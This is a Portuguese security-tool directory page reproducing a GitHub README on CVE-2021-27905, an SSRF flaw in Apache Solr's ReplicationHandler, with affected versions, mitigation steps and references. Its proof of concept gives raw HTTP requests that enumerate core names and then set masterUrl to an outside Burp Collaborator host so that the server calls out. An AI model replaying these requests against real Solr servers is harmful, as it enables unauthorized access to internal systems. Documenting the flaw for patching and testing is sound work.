Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-27905 — [CVE-2021-27905] Server Side Request Forgery (SSRF) no Apache Solr ReplicationHandler | Kitploit
Ferramentas/GitHubGitHub/murataydemir/cve-2021-27905
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesSegurança Web
GitHubmurataydemir/cve-2021-27905

CVE-2021-27905

[CVE-2021-27905] Server Side Request Forgery (SSRF) no Apache Solr ReplicationHandler

Ver Repositório
611há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

[CVE-2021-27905] Apache Solr ReplicationHandler - Falsificação de Solicitação do Lado do Servidor (SSRF)


Hit Counter Platform Badge

Apache Solr (significa Searching On Lucene with Replication) é um mecanismo de busca gratuito e de código aberto baseado na biblioteca Apache Lucene. Escrito em Java. O Apache Solr possui APIs RESTful XML/HTTP e JSON e bibliotecas cliente para muitas linguagens de programação como Java, Phyton, Ruby, C#, PHP e muitas outras, sendo usado para construir aplicações de busca e análise de big data para sites, bancos de dados, arquivos, etc.

Apache Solr todas as versões anteriores a 8.8.2 (7.0.0 a 7.7.3 e 8.0.0 a 8.8.1) são vulneráveis a vulnerabilidade de Falsificação de Solicitação do Lado do Servidor (SSRF). A exploração bem-sucedida desta vulnerabilidade pode levar a ações não autorizadas ou acesso a dados dentro da organização, seja no próprio aplicativo vulnerável ou em outros sistemas backend com os quais o aplicativo pode se comunicar.

O ReplicationHandler (normalmente registrado em /replication sob um core do Solr) possui um parâmetro masterUrl (também alias leaderUrl) que é usado para designar outro ReplicationHandler em outro core do Solr para replicar dados de índice para o core local. Para evitar uma vulnerabilidade SSRF, o Solr deveria verificar esses parâmetros contra uma configuração semelhante que ele usa para o parâmetro shards. Antes de essa vulnerabilidade ser corrigida, isso não era feito.

Prova de Conceito (PoC): Para explorar esta vulnerabilidade, um invasor precisa saber o nome do core no Apache Solr. Por isso, a seguinte requisição pode ser usada para determinar o(s) nome(s) do(s) core(s).

GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close

{
    "responseHeader":
    {
        "status": 0,
        "QTime": 0
    },
    "initFailures":
    {},
    "status":
    {
        "beliana_dev":
        {
            "name": "beliana_dev",
            "instanceDir": "/var/solr/data/beliana_dev",
            "dataDir": "/var/solr/data/beliana_dev/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-04-20T13:49:06.569Z",
            "uptime": 293226747
        },
        "beliana_prod":
        {
            "name": "beliana_prod",
            "instanceDir": "/var/solr/data/beliana_prod",
            "dataDir": "/var/solr/data/beliana_prod/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-02-02T06:07:19.668Z",
            "uptime": 6973733649
        },
        "beliana_stage":
        {
            "name": "beliana_stage",
            "instanceDir": "/var/solr/data/beliana_stage",
            "dataDir": "/var/solr/data/beliana_stage/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-02-02T06:07:19.668Z",
            "uptime": 6973733649
        }
    }
}

1

Após determinar os nomes dos cores, basta selecionar um deles e fazer uma requisição para este endpoint: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}

GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<response>
    <lst name="responseHeader">
        <int name="status">0</int>
        <int name="QTime">75</int>
    </lst>
    <str name="status">OK</str>
</response>

2

3

Mitigação: Qualquer uma das seguintes ações é suficiente para prevenir esta vulnerabilidade

  • Atualize para Solr 8.8.2 ou superior.
  • Se a atualização não for uma opção, considere aplicar o patch em https://issues.apache.org/jira/browse/SOLR-15217
  • Garanta que qualquer acesso ao handler de replicação seja puramente interno ao Solr. Normalmente, ele só é acessado externamente para fins de diagnóstico/informação.

Referências:

  • https://github.com/apache/solr-site/blob/eb060a0d2cf1d31de403665407fff7a0255578ec/content/solr/security/2021-04-12-cve-2021-27905.md
  • https://github.com/apache/solr/pull/47/files/c12bbae4da0719435cf5e19623f6dad83f0c8c65#diff-838f63a8d7b764661b66c758c19cfe6f3d6454b328a1b5f52f75480530b0cfe7
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27905
  • https://www.anquanke.com/post/id/238201
Baixar ferramenta